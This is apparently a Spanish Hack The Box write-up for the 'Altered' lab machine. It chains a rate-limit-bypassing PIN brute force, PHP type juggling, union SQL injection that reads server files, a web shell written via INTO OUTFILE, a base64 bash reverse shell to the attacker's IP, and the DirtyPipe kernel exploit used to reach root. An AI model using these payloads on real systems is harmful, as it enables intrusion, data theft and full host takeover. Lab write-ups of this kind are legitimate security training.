Altered
8 minutos de lectura
- SO: Linux
- Dificultad: Difícil
- Dirección IP: 10.10.11.159
- Fecha: 30 / 03 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted -p 22,80 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.077s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: UHC March Finals
|_Requested resource was http://10.10.11.159/login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.81 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.159
, veremos un formulario de inicio de sesión:
Podemos jugar un poco con la web y ver que es vulnerable a enumeración de usuarios. Existen dos respuestas diferentes si el nombre de usuario es válido o no:
Además, podemos comprobar que admin
es un usuario válido. También hay una página para solicitar un reinicio de contraseña:
Si ponemos admin
como nombre de usuario, nos pregunta por un PIN de 4 dígitos:
Podemos probar con 1234
como se sugiere, pero no es correcto:
Acceso a la máquina
El mensaje de error es interesante porque dice que usemos el mismo navegador. A lo mejor el PIN se puede obtener mediante fuerza bruta. Vamos a probar con un bucle for
en Bash:
$ cookie='laravel_session=eyJpdiI6IlNyK1R6MU83L010Y1E0YVI2NDdvUlE9PSIsInZhbHVlIjoiYlRWZ1BTZVJsVzNQamwxUitNOS9sN1lrQTNncnNqWHA5OUcycFFFSDFXaXp0ZlRFeFRDNWhLaFBxR2g3Q3BLQ3RiSHNEUDNlRjdZemxPeXl5NGx5ZXpLc0RlaUhLSm16RTZkRVViZDFVeTJ1UWRjY3U4RW9GTjc3eFJvYWcyTU8iLCJtYWMiOiI3OWRkNmM0Y2EwYjVkY2I2ODRjMDE5MTJmOGUyMDA0NDlmMzFkYmU5YWVlODM2MzU2ZmUzYTliZWQzNDY1OTc5IiwidGFnIjoiIn0%3D'
$ for pin in {0000..9999}; do (echo -n "$pin: "; curl 10.10.11.159/api/resettoken -sid "name=admin&pin=$pin" -H "Cookie: $cookie") | grep '429 Too Many Requests'; done
0060: HTTP/1.1 429 Too Many Requests
0061: HTTP/1.1 429 Too Many Requests
0062: HTTP/1.1 429 Too Many Requests
0063: HTTP/1.1 429 Too Many Requests
^C
El servidor tiene un límite de 60 peticiones por minuto (1 petición por segundo). A esta velocidad, el ataque de fuerza bruta tomaría cerca de 3 horas, que es bastante. Por tanto, tenemos que encontrar una manera de saltarnos ese límite.
Ataque de fuerza bruta
Existen algunas cabeceras que pueden afectar al límite que pone el servidor (HackTricks). El que es útil en la situación que tenemos es X-Forwarded-For
con una dirección IP aleatoria.
En este punto, escribí un script en Ruby llamado bf_pin.rb
que hace el ataque de fuerza bruta usando hilos (threads), de manera que se obtiene el PIN en unos tres minutos (explicación detallada aquí)):
$ ruby bf_pin.rb
[*] Using cookie: XSRF-TOKEN=eyJpdiI6IkppemJMM2ozV01TeE5JbXFIbFBNc1E9PSIsInZhbHVlIjoiNks0K244K3Z1WU1HYVZjM3FsYjE5S05jMk8vejg0RUs0QjVRYkVrRFFMNjRKTE0xVUdYYUhJbyt3SkkwSU5lVVFyK1h5VmxlQUZqRjhsM1diMTRwbitmUm5PYUozN2M5VWRVRGtnWEZyd0FzUmZMTXhTbC80RWIzbmd6M1o4N04iLCJtYWMiOiJiMGQ3MGQ2YTc0ZmNkNzk4NzM1OWUzNTZhMmJjM2JiNzgxMmRmYWZjMjRmOTI2MDJkMDUwYWZiNWY1M2Q0MGJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZSOGdLVmdZd1J6ZVJabklBNFRmdUE9PSIsInZhbHVlIjoiaCtXaFpHcDlsaXFBN05Ea2ZvYjYrdUZtZWluUmhVM3BjaWl2TXhXVmpTZXlSYTkybXZUNTd2YkQzNzNIc0FxYlV3b2l3Q1d1dml5SFd4QzlWUFlYY0JLb3NLVE4yaHZ1N0FGZkpEUTYzdzdnRzl5TWpGeGgwaCs0S29pQVRUREEiLCJtYWMiOiIxNTNiYmZjYTVjYThlN2QwMTQ1MzU1OWNlNmJiYjNjMzUwNzYwNjgzOGVhZDdlZjg5NzdlODY5OGM0ZDdiNzBkIiwidGFnIjoiIn0%3D
[*] Trying from 7400 to 7600...
[+] 7409 is valid
Ahora, solamente tenemos que coger las cookies y ponerlas en el navegador para mantener la misma sesión. Luego, ponemos 7409
y escribimos la nueva contraseña de admin
:
Y entramos. Ahora vemos una lista de usuarios:
Encontrando un SQLi
La única funcionalidad de esta página es el enlace “View”, que muestra un mensaje diferente en cada usuario:
La página no se recarga, por lo que los datos vienen por AJAX. Si miramos los archivo fuente, veremos una etiqueta script
que contiene código JavaScript y una función getBio
:
function getBio(id, secret) {
$.ajax({
type: 'GET',
url: 'api/getprofile',
data: {
id: id,
secret: secret
},
success: function (data) {
document.getElementById('alert').style.visibility = 'visible'
document.getElementById('alert').innerHTML = data
}
})
}
Está realizando una petición GET para obtener los datos. Mirando el código HTML, cada enlace tiene un evento onclick
que ejecuta esta función con un número como id
y un hash MD5 como secret
. Vamos a probar con curl
:
$ curl '10.10.11.159/api/getprofile?id=6&secret=7a5cd01cdb222330a1ec68b439887ea1'
Watchdog is an enthusiast hacker and developer from England.
Funciona. Pero si cambiamos los parámetros id
o secret
, el servidor nos pilla:
$ curl '10.10.11.159/api/getprofile?id=6&secret=asdf'
Tampered user input detected
$ curl '10.10.11.159/api/getprofile?id=1&secret=7a5cd01cdb222330a1ec68b439887ea1'
Tampered user input detected
Parece que el servidor está validando la integridad de la consulta. Y no parece predecible, a lo mejor tiene una sal:
$ echo -n 6 | md5sum
1679091c5a880faf6fb5e6087eb1b2dc -
Explotación de Type Juggling
Podemos recordar que el servidor utiliza PHP (Laravel), y a lo mejor es vulnerable a Type Juggling. Esto ocurre cuando el servidor utiliza ==
en lugar de ===
:
$ php -a
Interactive shell
php > if ("asdf" == true) { echo "true"; } else { echo "false"; }
true
php > if ("asdf" === true) { echo "true"; } else { echo "false"; }
false
Si ponemos true
(valor booleano) como secret
, la validación pasará. Para decirle a PHP que se trata de un valor booleano, tenemos que mandar los datos con formato JSON:
$ curl 10.10.11.159/api/getprofile -d '{"id":6,"secret":true}' -X GET -H 'Content-Type: application/json'
Watchdog is an enthusiast hacker and developer from England.
Explotación de SQLi
Es vulnerable, ahora podemos modificar el parámetro id
sin ser pillados. Vamos a probar SQLi:
$ curl 10.10.11.159/api/getprofile -d "{\"id\":\"'\",\"secret\":true}" -X GET -siH 'Content-Type: application/json' | head -1
HTTP/1.1 500 Internal Server Error
Hemos puesto una comilla simple ('
) y el servidor devuelve un 500 Internal Server. Es bastante probable que el parámetro id
sea inyectable. Vamos a proceder:
$ curl 10.10.11.159/api/getprofile -d '{"id":"6 or 1=1-- -","secret":true}' -X GET -H 'Content-Type: application/json'
Big0us is a man of mystery, there is not much known about him and due to winning the first UHC Season 1 Tournament, there isn't much footage for others to study. The only thing players can gather about this guy is what is on his <a href="bigous.me
">blog</a> and that he can hack.
Y conseguimos un resultado (usando comentarios para omitir el resto de la consulta del servidor). Vamos a probar con UNION SELECT
:
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1-- -","secret":true}' -X GET -siH 'Content-Type: application/json' | head -1
HTTP/1.1 500 Internal Server Error
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2-- -","secret":true}' -X GET -siH 'Content-Type: application/json' | head -1
HTTP/1.1 500 Internal Server Error
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,3-- -","secret":true}' -X GET -siH 'Content-Type: application/json' | head -1
HTTP/1.1 200 OK
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,3-- -","secret":true}' -X GET -H 'Content-Type: application/json'
3
Perfecto, tenemos un SQLi de tipo Union-based, y la columna que se refleja es la tercera. Vamos a enumerar un poco:
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,database()-- -","secret":true}' -X GET -H 'Content-Type: application/json'
uhc
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,version()-- -","secret":true}' -X GET -H 'Content-Type: application/json'
8.0.28-0ubuntu0.20.04.3
$ curl10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,user()-- -","secret":true}' -X GET -H 'Content-Type: application/json'
uhc@localhost
También podemos leer archivos del servidor (LOAD_FILE
). Por ejemplo:
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,load_file(\"/etc/passwd\")-- -","secret":true}' -X GET -H 'Content-Type: application/json'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
htb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,load_file(\"/home/htb/user.txt\")-- -","secret":true}' -X GET -H 'Content-Type: application/json'
96a7412e20c1c071a2cef9adbf2083aa
Y aquí está user.txt
.
Obteniendo RCE
Pero vamos a entrar en la máquina usando INTO OUTFILE
. Para ello, tenemos que encontrar un directorio del servidor web. Esta es la configuración de nginx:
$ curl 10.10.11.159/api/getprofile -d '{"id":"0 union select 1,2,load_file(\"/etc/nginx/sites-enabled/default\")-- -","secret":true}' -X GET -H 'Content-Type: application/json'
server {
listen 80 default_server;
listen [::]:80 default_server;
root /srv/altered/public;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
set $realip $remote_addr;
if ($http_x_forwarded_for ~ "^(\d+\.\d+\.\d+\.\d+)") {
set $realip $1;
}
index index.php;
charset utf-8;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location = /favicon.ico { access_log off; log_not_found off; }
location = /robots.txt { access_log off; log_not_found off; }
error_page 404 /index.php;
location ~ \.php$ {
fastcgi_pass unix:/run/php/php-fpm.sock;
fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
include fastcgi_params;
}
location ~ /\.(?!well-known).* {
deny all;
}
}
El directorio raíz es /srv/altered/public
. Tenemos que injectar código PHP:
$ curl 10.10.11.159/api/getprofile -d "{\"id\":\"0 union select 1,2,'<?php system(\\\"whoami\\\"); ?>' into outfile \\\"/srv/altered/public/r.php\\\"-- -\",\"secret\":true}" -X GET -H 'Content-Type: application/json' &>/dev/null
$ curl 10.10.11.159/r.php
1 2 www-data
Genial, vamos a por una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 10.10.11.159/api/getprofile -d "{\"id\":\"0 union select 1,2,'<?php system(\\\"echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash\\\"); ?>' into outfile \\\"/srv/altered/public/rr.php\\\"-- -\",\"secret\":true}" -X GET -H 'Content-Type: application/json' &>/dev/null
$ curl 10.10.11.159/rr.php
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.159.
Ncat: Connection from 10.10.11.159:52116.
bash: cannot set terminal process group (928): Inappropriate ioctl for device
bash: no job control in this shell
www-data@altered:/srv/altered/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@altered:/srv/altered/public$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@altered:/srv/altered/public$ export TERM=xterm
www-data@altered:/srv/altered/public$ export SHELL=bash
www-data@altered:/srv/altered/public$ stty rows 50 columns 158
Escalada de privilegios
Podemos enumerar la versión del kernel de Linux:
www-data@altered:/home/htb$ uname -a
Linux altered 5.16.0-051600-generic #202201092355 SMP PREEMPT Mon Jan 10 00:21:11 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Existe una vulnerabilidad del kernel llamada DirtyPipe (CVE-2022-0847) que afecta a esta versión de kernel. Podemos descargar el exploit en C desde CVE-2022-0847-DirtyPipe-Exploits y compilarlo en local. Luego, subimos el binario a la máquina con un servidor web en Python y lo ejecutamos:
www-data@altered:/tmp$ curl 10.10.17.44/exploit-1 -so dp
www-data@altered:/tmp$ chmod +x dp
www-data@altered:/tmp$ ./dp
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
--- Welcome to PAM-Wordle! ---
Espera, ¿qué? ¿Wordle? ¿De verdad? Vale… vamos a divertirnos:
www-data@altered:/tmp$ ./dp
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
--- Welcome to PAM-Wordle! ---
A five character [a-z] word has been selected.
You have 6 attempts to guess the word.
After each guess you will recieve a hint which indicates:
? - what letters are wrong.
* - what letters are in the wrong spot.
[a-z] - what letters are correct.
--- Attempt 1 of 6 ---
Word: Invalid guess: unknown word.
Word: shell
Hint->?h???
--- Attempt 2 of 6 ---
Word: hacks
Hint->*?*??
--- Attempt 3 of 6 ---
Word: chmod
Hint->ch?*?
--- Attempt 4 of 6 ---
Word: chown
Correct!
Password: piped
Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)
whoami
root
cat /root/root.txt
0d52a60c9470a4a1ea3a73c808072b4b